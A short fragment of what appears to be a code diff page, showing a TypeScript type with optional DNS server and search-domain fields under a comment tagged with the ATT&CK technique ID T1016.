|
||||
// DNS config — T1016
|
||||
dns_servers?: string[];
|
||||
dns_search_domains?: string[];
|
||||
|
||||
Reference in New Issue
Block a user